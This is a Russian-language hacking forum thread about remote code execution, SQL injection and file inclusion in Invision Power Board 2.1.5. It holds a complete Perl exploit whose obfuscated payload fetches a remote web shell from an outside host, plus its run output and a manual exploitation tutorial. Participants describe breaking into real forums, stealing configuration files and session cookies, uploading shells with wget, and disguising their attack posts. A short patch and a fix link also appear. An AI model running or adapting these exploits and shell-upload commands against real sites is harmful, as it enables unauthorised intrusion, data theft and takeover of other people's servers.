Просмотр полной версии : Уязвимость Invision Power Board 2.1.5
Программа: Invision Power Board
Уязвимые версии: 2.1.5 и, возможно, более ранние версии
Тип: remote
Опасность: высокая
Описание ->
1. Выполнение произвольного кода возможно из-за недостаточной фильтрации входящих от пользователя данных. Злонамеренный пользователь может сформировать текст сообщения, а затем выполнить произвольный код.
2. Подключение произвольных файлов возможно при наличии администраторских прав.
Пример:
_http://host/admin.php?adsess=…§ion=content&act=msubs&code=install-gateway&name=%08%08%08%08%08%08%08%08%08/../class_gw_test*[/url]
3. SQL-инъекция в файле sources/lib/func_taskmanager.php
Злонамеренный пользователь может сформировать и выполнить произвольный запрос в базе данных (длина запроса не должна превышать 32 символа).
Пример:
_http://www.host.com/index.php?act=task&ck='
Решение: решения в настоящий момент не существует
Источник: spam_(at)_we11er.co.uk
SQL-инъекция работает, жаль ограничение 32 символа =(
А про пункт 1 подробности есть? Или это всё про тот же известный Xss ?
Я не шибко понимаю в Sql. Какой нибудь толк от скуль иньекции есть этой? Ограничение есть ведь :(
вот здесь по подробней, надо пробовать
http://www.securityfocus.com/archive/1/431990/30/0/threaded
## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2
#!/usr/bin/perl
## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2
##
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru
use IO::Socket;
use Getopt::Std;
getopts("l:h:p:d:f:v:");
$host = $opt_h;
$dir = $opt_d;
$login = $opt_l;
$password = $opt_p;
$forum = $opt_f;
$version = $opt_v || 0;
$|++;
header();
if(!$host||!$dir||!$login||!$password||!$forum) { usage(); }
print "[~] SERVER : $host\r\n";
print "[~] PATH : $dir\r\n";
print "[~] LOGIN : $login\r\n";
print "[~] PASSWORD : $password\r\n";
print "[~] TARGET : $version";
print (($version)?(' - IPB 2.1.*'):(' - IPB 2.0.*'));
print "\r\n";
print "[~] Login ... ";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$login =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$post = 'UserName='.$login.'&PassWord='.$password;
$loggedin = 0;
print $sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
{
if(/session_id=([a-f|0-9]{32})/) { $sid = $1; }
}
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print $sock "GET ${dir}index.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
while (<$sock>)
{
if(/act=Login&CODE=03/) { $loggedin = 1; last; }
}
if($loggedin) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }
print "[+] SID: $sid\r\n";
print "[~] Try get md5_check ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
if($version==1)
{
print $sock "GET ${dir}index.php?act=post&do=new_post&f=${forum} HTTP/1.1\r\n";
}
else
{
print $sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1\r\n";
}
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
while (<$sock>)
{
if($version == 1 && /ipb_md5_check\s*= \"([a-f|0-9]{32})\"/) { $md5_check = $1; last; }
if($version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; }
}
close($sock);
if($md5_check) { print " [ DONE ]\r\n"; print "[+] MD5_CHECK : $md5_check\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }
print "[~] Create new message ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$created = 0;
$text = 'r57ipbxplhohohoeval(include(chr(104).chr(116).chr (116).chr(112).chr(58).chr(47).chr(47).chr(114).ch r(115).chr(116).chr(46).chr(118).chr(111).chr(105) .chr(100).chr(46).chr(114).chr(117).chr(47).chr(11 4).chr(53)'.
'.chr(55).chr(105).chr(112).chr(98).chr(105).chr(1 10).chr(99).chr(46).chr(116).chr(120).chr(116))); //';
$post = "st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&removeattachid=0&CODE=01&post_key=&TopicTitle=justxpl&TopicDesc=justxpl&poll_question=&ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0";
print $sock "POST ${dir}index.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
{
if(/Location:/) { $created = 1; last; }
}
if($created) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "[~] Search message ...";
$post = 'keywords=r57ipbxplhohohoeval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1&prune=0&prune_type=newer&sort_key=last_post&sort_order=desc&search_in=posts&result_type=posts';
print $sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
{
if(/searchid=([a-f|0-9]{32})/) { $searchid = $1; last; }
}
if($searchid) { print " [ DONE ]\r\n"; }
else { print "[ FAILED ]\r\n"; exit(); }
print "[+] SEARCHID: $searchid\r\n";
$get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result_type=posts&highlite=r57ipbxplhohohoeval&lastdate=z|eval.*?%20//)%23e%00';
while ()
{
print "Command for execute or 'exit' for exit # ";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
exit() if ($cmd eq 'exit');
last;
}
&run($cmd);
}
sub run()
{
$cmd =~ s/(.*);$/$1/eg;
$cmd =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$cmd2 = '%65%63%68%6F%20%5F%53%54%41%52%54%5F%20%26%26%20' ;
$cmd2 .= $cmd;
$cmd2 .= '%20%26%26%20%65%63%68%6F%20%5F%45%4E%44%5F';
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print $sock "GET ${dir}${get}&eharniy_ekibastos=$cmd2 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
$on = 0;
$runned = 0;
while ($answer = <$sock>)
{
if ($answer =~ /^_END_/) { return 0; }
if ($on == 1) { print " $answer"; }
if ($answer =~ /^_START_/) { $on = 1; }
}
}
sub header()
{
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~\r\n";
print " Invision Power Board 2.* commands execution exploit by RST/GHC\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~\r\n";
}
sub usage()
{
print "r57ipbce.pl -h <host> -d <dir> -l <login> -p <password> -f <forum> -v <version>\r\n\r\n";
print "<host> - host where IPB installed e.g www.ipb.com\r\n";
print "<dir> - folder where IPB installed e.g. /forum/ , /ipb/ , etc...\r\n";
print "<login> - login of any exist user\r\n";
print "<password> - and password too )\r\n";
print "<forum> - number of forum where user can create topic e.g 2,4, etc\r\n";
print "<version> - forum version:\r\n";
print " 0 - 2.0.*\r\n";
print " 1 - 2.1.*\r\n";
exit();
}
проверял на 2.1.5 - работает
EST a1ien
27.04.2006, 09:47
Rst/ghc опять порадовали нас свойми сплойтами и как всагда там какойнибудь сюрприз :)
jagga_man
27.04.2006, 09:50
да он есть 100% ) нужно копаться в коде)
у меня всё ок,почти тока когда надо выполнять команду,ввожу и всё равно ничего =)),сейчас буду пробывать на других форумах
[~] TARGET : 0 - IPB 2.0.*
[~] Login ... [ DONE ]
[+] SID: eba6aea1bb52b4e2b96e71496c1d019d
[~] Try get md5_check ... [ DONE ]
[+] MD5_CHECK : 37b1d4a901d9fa423421d1c3b04181c9
[~] Create new message ... [ DONE ]
[~] Search message ... [ DONE ]
[+] SEARCHID: 57404f05bbfa5153ffd009ac0782d291
Command for execute or 'exit' for exit # id
Command for execute or 'exit' for exit # ls -la
Command for execute or 'exit' for exit # uname -a
Command for execute or 'exit' for exit # exit
в чем может быть проблема ?
и ещё очень часто:
[~] Login ... [ DONE ]
[+] SID: 1cac47e9bc3eb086a6931ebb997d926b
[~] Try get md5_check ... [ FAILED ]
В сплоите в 95 строке есть зашифрованая в charsete ссылка _http://rst.void.ru/r57ipbinc.txt с содержимым
<?
/*
r57ipbce exploit include file
*/
passthru($_GET['eharniy_ekibastos']);
?>
Очень даже хорошо работает exploit! Проверил на lineageii.ru.
да отлично работает =))) просто не на всех форумах
Описание баги http://www.securityfocus.com/archive/1/431990/30/0/threaded
Ручками тоже работает замечательно.
Carle-On-Line
27.04.2006, 17:46
Так я не пойму, есть шифровка в сплойте или нет!?
limpompo
27.04.2006, 17:52
ЕСТЬ! тебе же сказали это в 9 посте
http://forum.antichat.ru/showpost.php?p=144011&postcount=9
Хм... У меня сплойт пишет
[~] Create new message ... [ FILED ]
На форуме появляется новая тема с мессагой. В сообщении эта самая шифровка из 95 строки.
с шифровкой понятно, идем по линку, и по идее из того текстовика нужно вставить код в сплоит, чет не выходит, у кого получилось?
degeneration x
27.04.2006, 19:40
на 2.1.x не всегда работает. На 2.0.x всё ок! Отправил на мыло себе conf_global.php =))
Black_Death
28.04.2006, 16:20
На команды нету ответа...чё за нах?
Вот видео: http://globalka.narod.ru/exp.rar
а если адресс форума не www.***/forum а www.forum.***.ru то как прописать?
на 2.1.x не всегда работает. На 2.0.x всё ок! Отправил на мыло себе conf_global.php =))
А это какой командой если не секрет ?
А это какой командой если не секрет ?
например cat имя_файла| mail твоё_мыло
Оппа.. забавно..
А Shell в папку Uploads у меня не залился.. Или опять всё из-за врождённой криворукости ?
degeneration x
29.04.2006, 00:23
А это какой командой если не секрет ?
например cat имя_файла| mail твоё_мыло
да, именно этой.
Токо странно, почему не всегда получается выполнять команды, хотя я на 100% уверен, что форум не пропатчен. Иногда бывает ещё, что вместо того, чтобы вывести результат команды(например того-же ls -la), он мне выводит html код страницы. Странно всё это...
А по моему правильно ls -lia
Команда put запрещена для анонимов как известно.. А другой я не знаю.. Какой командой залить шелл если это вообще можно сделать
инфа для админов:
Чтобы пофиксить данную багу, зайдите на http://ibresource.ru/ Там уже есть заплатки, которые можно скачать. В частности, >> здесь << (http://www.ibresource.ru/forums/index.php?showtopic=28488&st=0&p=176067&#entry176067)
dasNICK, неважно, как .. ls -la; или ls- lia. Можно вообще просто ls.
-la - это просто параметры.
Знаю.. просто действительно ls -la не работет у меня а ls -lia пашет
На команды нету ответа...чё за нах?
Вот видео: http://globalka.narod.ru/exp.rar
гы... бывают идиоты которые на виндовой тачке пытаются сделать ls -la; :D ROFL
малчык тыбэ скока лэт?
изучи команды cmd сначала.. dir пробуй.. если получиться значит точно надо учить..
Может кто даст наводку как исправить сплойт, а то с перлом не очень дружу ((
Или в личку если нехотите писать тут, всем кто поможет + )
degeneration x
29.04.2006, 09:22
Вот цитата с dl (http://damagelab.org/index.php?showtopic=5382&view=findpost&p=46460)
Тем, у кого эксплоит не выполняет команды:
Изучите внимательно сорец. Зная стиль Вульфа, я не мог не обратить внимания на эту строчку
$text = 'r57ipbxplhohohoeval(include(chr(104).chr(116).chr (116).chr(112).chr(58).
chr(47).chr(47).chr(114).chr(115).chr(116).chr(46) .chr(118).chr(111).chr(105).
chr(100).chr(46).chr(114).chr(117).chr(47).chr(114 ).chr(53)'.
'.chr(55).chr(105).chr(112).chr(98).chr(105).chr(1 10).chr(99).chr(46).chr(116).chr(120).chr(116))); //';
Несколько строк на перле - и вы увидите, что там скрывается. А когда увидите, то 100% поймете, почему команды могут не выполняться
Описание баги http://www.securityfocus.com/archive/1/431990/30/0/threaded
Ручками тоже работает замечательно.
Для тех у кого не получается со сплойтом, опишу как пользоваться ручками.
1. Постим сообщение eval(system(dir)); //'
2. В поиске ищем по своему нику все сообщения и не забываем поставить галочку на Show results as posts
3. В конце url дописываем &lastdate=z|eval.*?%20//)%23e%00
4. Enter. Выполняется dir.
чо вы все прицепились к сплойту а? он рабочий, на 2.1.* может иногда не работать.
для тренировки попробуйте
-h resa.ipbhost.com -d / -l Des -p 123 -f 48 -v 0
Black_Death
29.04.2006, 12:50
гы... бывают идиоты которые на виндовой тачке пытаются сделать ls -la; ROFL
малчык тыбэ скока лэт?
изучи команды cmd сначала.. dir пробуй.. если получиться значит точно надо учить..
Ну ты даёшь!!!)))) Еще раз тебе поясню: не выполняется ни одна команда и на одном форуме! На локалхосте спокойно должна выполняться команда echo, но она тож не пашет!!!
У меня всё отлично пашет.. Сплоит исправил.. НО !
Кто знает как залить shell ??? put , get и прочее запрещены для анонимнгого доступа. Подскажите команду которой это можно мделать
Кто знает как залить shell ??? put , get и прочее запрещены для анонимнгого доступа.
ну если put и get отказываються работать, попробуй header и post.
Эммм.. туплю конечно, но этих команд не знаю..
шел на C: как залить в аплоадс ? ))
Black_Death
29.04.2006, 16:02
Эммм.. туплю конечно, но этих команд не знаю..
шел на C: как залить в аплоадс ? ))
Если он у тебя на компе, то надо залить на сайт (ну на народе например) далее командой cd перейти в аплоадс и wget'ом залить туда шелл
вот у меня везде ошибки вида :
...
[~] Create new message ... [ FAILED ]
не подскажите в чем причина?
ну например вариант когда не у всех пользователей есть права постить сообщения
вот теперь другая трабла, как шелл залить?
wget http://www.шелл/shell.php -P /cache/
не помогло, показывается html код какойто...
права записи на папки есть
Search Message ...[ FAILED ] - chto za poisk soob4enija? ktonibut razbiralsja?
tester - читай внимательно эту тему! тут все уже сказали
wget не пашет.. Кто залил шелл ?
wget не пашет.. Кто залил шелл ?
Есть еще и другие качалки GET CURL и тд.
Ребят, прекращаем оффтопить. Комманды типа wget, это уже не по сабжу. Смотрим в соответствующем разделе.
Dark Ne0
29.04.2006, 23:23
Полное руководство по применению сплоя :-)))
Способ применения:
Регимся на сайте
C://ex.pl -h www.host.ru -d forum -l Dark Ne0 -p pass -f 2 -v 2.1.*
-d Указываем директорию где находится форум
-l ваш логин
-p ваш пасс
-f номер форума где экс может создать тему
-v версия форума
Способ защиты:
Заходим sources/search.php(sources/action_public/search.php
Было
{
$this->output = preg_replace( "#(value=[\"']{$ibforums->input['lastdate']}[\"'])#i", "\\1 selected='selected'", $this->output );
}
Заменить на
{
$ibforums->input['lastdate'] = intval($ibforums->input['lastdate']);
$this->output = preg_replace( "#(value=[\"']{$ibforums->input['lastdate']}[\"'])#i", "\\1 selected='selected'", $this->output );
}
Патча пока нет :)))
Терь уверен все вопросы отпадут
max_pain89
29.04.2006, 23:28
Да и помним, что запуская не чищеный сплойт ты отдаешь этот шелл в руки РСТ.
Dark Ne0
30.04.2006, 00:06
Но все равно отследить взломщика по запросу не составит труда !!!
Так что лучше с начала подумать что ломать
Lord Nikon
30.04.2006, 00:25
я так и не понял как убрать шифровку,помогите.
Спасибо!
чо вы все прицепились к сплойту а? он рабочий, на 2.1.* может иногда не работать.
для тренировки попробуйте
-h resa.ipbhost.com -d / -l Des -p 123 -f 48 -v 0
Хых,мой пост на рст,что не узнали:)Des =Desr0w )))
Видео с использованием данного сплойта:http://forum.antichat.ru/thread18337.html
сплойт интересный но пользоваться им в чистом виде не стоит.во первых он инклудит файл с сайта рст и светится у них в логах во вторых он оставляет слишком "паливный" пост.
Если уж кто пользуется им в исходном виде то хотябы сделайте это находим -
$post = "st=0&act=Post
изменяем переменные &TopicTitle=MY_COOL_TOPICK&TopicDesc=MY_COOL_DESC
нахлдим строку
$text = 'r57ipbxp...
дописываем в начале чото типа
$text ='MY_COOL_POST [color=#EFEFEF} r57ipbxplhohohoeval(include(chr(10.........)); //[/color}';
это создаст иллюзиб поста и замаскирует код цвет подбирать под форум (скобки в конце заменить на нормальные)
запускать это дело естественно лучше с какогонить шела а не со своего компа..
Grrl,
хех,инклудится чтобы можно было команды передавать через get;)
Grrl,
хех,инклудится чтобы можно было команды передавать через get;)
правда? хм а я думала это для тогочтобы вампиров отпугивать спасибо что просвятил..
+ на поднятие настроение поставил:)
Да и помним, что запуская не чищеный сплойт ты отдаешь этот шелл в руки РСТ.
Обоснуй plzz
Без сплойта больше функциональности.
Обоснуй plzz
Имеется ввиду ситуация как со сплойтом для пхпбб 2.0.19 на исполнение команд, когда сплойт отсылал логин, пасс админа и урл форума на родной сайт РСТ....
+toxa+,ну мля х3.Я не думаю что этим парням это нужно
2 Desr0w
Факт остаётся фактом
ССЫЛОЧКА (http://forum.antichat.ru/showpost.php?p=137567&postcount=18)
Разобрался в сырцах ничего там не отправляется на Rst кроме того факта что сплоит палит себя на форуме сообщением ну дык это ручками подправить не проблема. А вобще делайте всё ручками и будет всё ок!
Как объяснил Azazel, всё работает в точнасти, и в 2 1 4 и в 2 1 5, ужи иемются шеллы ))) можит и видео сниму )))
можит и видео сниму )))
Уже снято и отправлено, правда не выложено.
http://rapidshare.de/files/19287127/video.rar.html
Что когда выполняю UPDATE `ibf_members` SET 'mgroup'=4 WHERE `id` =2941;
Получаю ошибку
Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''mgroup'=4 WHERE `id` =2941' at line 1
Ну если вы про видео этого форума сплойтом,то http://video.antichat.ru/file195.html
Народ
вот что получул через смену аватара на 2.1.4
forum_read=a%3A2%3A%7Bi%3A46%3Bi%3A1145891111%3Bi% 3A48%3Bi%3A1145994180%3B%7D;
member_id=35312; pass_hash=138e13288c04d1d2c6bcd39cc072a76b
через index.php?act=task&ck=%27 не вушло пусто)
что мне предложете? Мне не надо права админа, прсто надо права к ноступу клиенсткого раздела
на форуме
degeneration x
01.05.2006, 09:20
Смотри видео, там всё понятно.
http://rapidshare.de/files/19287127/video.rar.html
Хммм... Код поправил, но ни одной команды не выполняется... Пробую на локалхосте, версия форума 2.0.3
Что когда выполняю UPDATE `ibf_members` SET 'mgroup'=4 WHERE `id` =2941;
Получаю ошибку
Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''mgroup'=4 WHERE `id` =2941' at line 1
Надо не 'mgroup' а `mgroup` в обратны кавычках.
xdye
Или просто жди когда на сниффер придёт
ipbforumpass_№форума=хеш пароля к форуму;
И подставь в куки.
можно ли этим сполитом получить
хеш пароля юзера
если да то какие команды нужно вводить
Надо не 'mgroup' а `mgroup` в обратны кавычках.
ТАк я же написал что понялсвою ошибку.
2 TRes
ТЫ попробуй всё получится.
Парни! Спосибо конечно всем НО я что то не пойму одног...
видео я глядел и сломал форум по нему точь точь как вы описали!
Но этот форум который я хочу взламать всгда куча народа да и ошибли
mySQL query error: SELECT * FROM ibf_task_manager WHERE task_cronkey='''
SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
SQL error code:
Date: Sunday 30th of April 2006 03:05:10 PM
Там не дает просто белая страничка, еще одно Otaku пишет то на сниффер придёт
а если у меня нет снифера куда тогда оно предет? ) ладно если будет минутка помогите
разабратся) спосибо
Там не дает просто белая страничка, еще одно Otaku пишет то на сниффер придёт
а если у меня нет снифера куда тогда оно предет? ) ладно если будет минутка помогите
разабратся) спосибо
Да чувак ты жжошь, особенно про снифер. ) гы. Ну ты сам подумай если у тебя нет снифера куда оно придет )) ахаха..
Снифер мона юзать ачатовский. http://antichat.ru/sniff/ вроде так )
Парни! Спосибо конечно всем НО я что то не пойму одног...
видео я глядел и сломал форум по нему точь точь как вы описали!
Но этот форум который я хочу взламать всгда куча народа да и ошибли
mySQL query error: SELECT * FROM ibf_task_manager WHERE task_cronkey='''
SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
SQL error code:
Date: Sunday 30th of April 2006 03:05:10 PM
Там не дает просто белая страничка, еще одно Otaku пишет то на сниффер придёт
а если у меня нет снифера куда тогда оно предет? ) ладно если будет минутка помогите
разабратся) спосибо
Делай по видео. Проверка на вшивость идет по другой дырке - три дырки были опубликованы вместе.
Lord Nikon
01.05.2006, 16:08
блин не понимаю как сплойт исправить что он работал?Или это все чуш =).
блин не понимаю как сплойт исправить что он работал?Или это все чуш =).
Зачем сплойт ставить в этой теме 1-2 страницы назад я кидал ссылку на видео без сплойта
Только что попробывал, посе того как нашол тему
добавил &lastdate=z|eval.*?%20//)%23e%00 и вообще
нечего не прозашло! :( я в шоке
haZard0us
01.05.2006, 16:38
такой рульный сплоит, много полезного достал =)
Добавил &lastdate=z|eval.*?%20//)%23e%00 и появилась вверху такая надпись:
IPB WARNING [2] include() [function.include]: URL file-access is disabled in the server configuration (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code)
IPB WARNING [2] include(http://rst.void.ru/download/r57shell.txt) [function.include]: failed to open stream: no suitable wrapper could be found (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code)
IPB WARNING [2] include() [function.include]: Failed opening 'http://rst.void.ru/download/r57shell.txt' for inclusion (include_path='.:/opt/php/lib/php:/home/users/e/evsu/incs') (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code)
На локалке всё прошло на ура, а вот уже в инете так.
Да сейчас много где это идет на ура (мега респект автару) но то что мне действительно нодо не кактит...
Там не дает просто белая страничка, еще одно Otaku пишет то на сниффер придёт
а если у меня нет снифера куда тогда оно предет? ) ладно если будет минутка помогите
разабратся) спосибо
Аффтар ты!!!
Например вот неплохой сниффер ресурс:
http://s.netsec.ru/
Добавил &lastdate=z|eval.*?%20//)%23e%00 и появилась вверху такая надпись:
IPB WARNING [2] include() [function.include]: URL file-access is disabled in the server configuration (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code)
IPB WARNING [2] include(http://rst.void.ru/download/r57shell.txt) [function.include]: failed to open stream: no suitable wrapper could be found (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code)
IPB WARNING [2] include() [function.include]: Failed opening 'http://rst.void.ru/download/r57shell.txt' for inclusion (include_path='.:/opt/php/lib/php:/home/users/e/evsu/incs') (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code)
На локалке всё прошло на ура, а вот уже в инете так.
Запрещено использование include попробуйте с помощью php фаила, приложенного в архиве закодить что-нибудь наподобии.
$file=join("",file("http://rst.void.ru/download/r57shell.txt"));
eval($file);
и его заслать
Обсуждение скульника тут http://forum.antichat.ru/thread18495.html
XSS тут http://forum.antichat.ru/thread17358.html
Очень даже хорошо работает exploit! Проверил на lineageii.ru.
Не знаю почему, но на форуме lineageii.ru, у меня не выполняются никакие команды, ни под винду, ни под линукс. Хотя тема создаётся... Если делаю ручками, то тож не пашет.
Кстати часто на форумах сплойт не воспроизводит команды, а ручками всё работает. Может это из-за того что я не правил сплойт...
И ещё: когда я постю сообщение, например eval(system(ls)); //'
то при поиске выдаёт файлы, лежащие на сервере, а когда например:
eval(system(ls -la)); //'
то мне выдаётся:
IPB WARNING [2] system(): Cannot execute a blank command (Line: 1 of /sources/search.php(1236) : regexp code)
Почему так?
Они уже пропатчили форум.
я нашол форум ломаемы.... но он на винде... там пашет dir, md и т.д.
как можно закачать шелл или скачать сонфиг... бо не получаеться! =(
max_pain89
02.05.2006, 17:39
я нашол форум ломаемы.... но он на винде... там пашет dir, md и т.д.
как можно закачать шелл или скачать сонфиг... бо не получаеться! =(
Шелл примерно так. Узнай путь и напиши выполни.
echo "<? include($xxx); ?>" > c:\xxx2.txt
причем файл создаться с ковычками, но они не должны повлиять на код.
Или как показано в http://video.antichat.ru/file196.html через ФТП команды.
а линуксовская команда CAT равнозначна мелкомягкой TYPE
(type c:\xxx2.txt)
а если сервак на linux, echo ведь прокатит?
вот такой код
echo "<? system($_GET['c']) ?> " > ./shell.php
запишет в shell.php строку с system? а то у меня не получается.
и еще как то странно себя ведет wget я делаю cd ./uploads/; wget _http://serv/shell.php;
вроде бы записывает в файл, файл появляеться. но когда его запускаю, он показывает файлы с моего сервера... что делать?
Статейка в тему, думаю полезно будет...
Совсем недавно появился эксплоит для удаленного исполнения команд в популярном форуме Invision Power Board.
Уязвимость, к слову говоря, кроется в файле sources/action_public/search.php, в регулярном выражении. Выполнив определенные действия, злонамеренный пользователь получал веб-шелл. Товарищ 1dt.w0lf из команды RST не теряя времени написал эксплоит для этой уязвимости. По-моему, это был первый паблик-эксплоит для этой дыры. Однако с эксплоитом у многих возникают проблемы: команды не выполняются. Нет, в самом эксплоите никакой ошибки нет, просто Вульф пошел по пути меньшего сопротивления, нежели авторы других эксплоитов для этой уязвимости.
Давайте обратим внимание на эту строку (#95)
$text = ‘r57ipbxplhohohoeval(include(chr(104).chr(116).c hr(116).chr(112).
chr(58).chr(47).chr(47).chr(114).chr(115).chr(116) .chr(46).chr(118).chr(111).chr(105).
chr(100).chr(46).chr(114).chr(117).chr(47).chr(114 ).chr(53)’.
‘.chr(55).chr(105).chr(112).chr(98).chr(105).chr (110).chr(99).chr(46).chr(116).
chr(120).chr(116))); //’;
Напишем небольшой скрипт на perl и посмотрим, что же скрывается в этой строке. А скрывается там строка
http://rst.void.ru/r57ipbinc.txt
А вот и содержание этого текстового файла:
<?
/*
r57ipbce exploit include file
*/
passthru($_GET[’eharniy_ekibastos’]);
?>
То есть в eval выполняется инклюд удаленного файла. Ловушки тут никакой нет, просто так проще получить шелл. Однако далеко не на всех серверах возможен инклюд удаленных файлов (чаще всего причина - allow_url_fopen=0). Тупик? Нет! Сейчас я вам расскажу, как эксплуатировать эту ошибку вручную. И вы увидите, что это вовсе не сложно.
Итак, перво-наперво, найдем себе подходящую жертву. Я выбрал IPB 2.1.5 (доступный по адресу 127.0.0.1 естественно).
Залогинимся (зарегистрируемся, если еще не сделали этого), перейдем в форум, где мы можем оставлять сообщения.
Создаем сообщение, содержащее текст:
eval(phpinfo()); //
Создали? Теперь откройте новую закладку в браузере (так удобнее будет) и перейдите к поиску. В поиске укажите: искомый текст eval, ваш логин, а также не забудьте указать “Показывать результаты ввиде сообщений”. Ищем только что созданный пост. Нашелся? Замечательно. Теперь в этом же окне добавьте в конец URL такую строчку:
&lastdate=z|eval.*?%20//)%23e%00
Адресная строка браузера должна иметь приблизительно такой вид:
http://localhost/ipb/index.php?act=Search&CODE=show&searchid=…&search_in=posts&result_type=posts&highlite=system&lastdate=z|eval.*?%20//)%23e%00
Жмите enter. Если вы все сделали правильно и форум уязвим, то вы увидите вывод информации о интерпретаторе PHP.
Но нам нужен шелл.
Вернемся к нашему сообщению. Надеюсь, у вас есть права на его редактирование? Если это так, переходите к его редактированию. Однако у этой уязвимости есть одна особенность: вы не можете использовать функции в привычном виде (system(”ls”) например). Нужно все символы аргументов переводить из их кода. То есть вместо system(”ls”) писать system(chr(34).chr(108).chr(115).chr(34)). Согласитесь, что это не совсем удобно, самому деражть в голове, искать где-то коды символов. Поэтому я набросал простенькую утилиту, которая преобразует команду за вас и выведет ее в пригодной для употребления форме. Например, вы вводите ls, а на выходе получаете строку eval(system(chr(108).chr(115)).chr(59).exit()); //. Утилита также содержит сей хэлп, только на английском языке (заранее приношу извинения, если что-то не так написал). Вы можете просто пропустить весь хэлп и и перейти непосредственно к энкодеру.
Отредактировав сообщение, возвращайтесь к странице поиска и просто обновите ее. Таким образом, вы можете выполнять любые доступные вам команды.
Теперь перейдем к защите от этой напасти. Открываем файл sources/action_public/search.php и ищем в нем регулярное выражение:
this->output = preg_replace( “#(value=[\”‘]{$this->ipsclass->input[’lastdate’]}[\”‘])#i”, “\\1 selected=’selected’”, $this->output );
Которое заменяем на:
$this->output = preg_replace( “#(value=[\”‘]”.intval($this->ipsclass->input[’lastdate’]).”[\”‘])#i”, “\\1 selected=’selected’”, $this->output );
Как видите, патч состоит в том, что уязвимый параметр приводится к типу integer.
P.S. Ни я, ни кто другой не несут ответственности за применение этой информации.
© not null | Security Bunker Team
А на 1.3 final не проходит :((
Статейка в тему, думаю полезно будет...
Может я дурак, но кроме phpinfo() ничего не выполняется :confused: положительный результат есть у кого?
а как в версии 2.0.4 сделать,?? что не катит...шел не загружаеться.
У меня не однократно) Воше дыра супер, обажаю шелл
Black_Death
03.05.2006, 14:24
Сори за то, что немного не по теме, но никто не юзал?
#!/usr/bin/perl
# Wed Apr 26 16:44:15 CEST 2006 jolascoaga (at) 514 (dot) es [email concealed]
#
# INVISION POWER BOARD 2.1.5 <www.invisionboard.com> pr00f 0f c0ncept
#
# remote command execution. vuln credits goes to IceShaman.
#
# works only if you have perms to post a comment. Exploit with replye is
# in my TODO...
#
# 514 still r0xing.
# !dSR the hardc0re hax0rs ;)
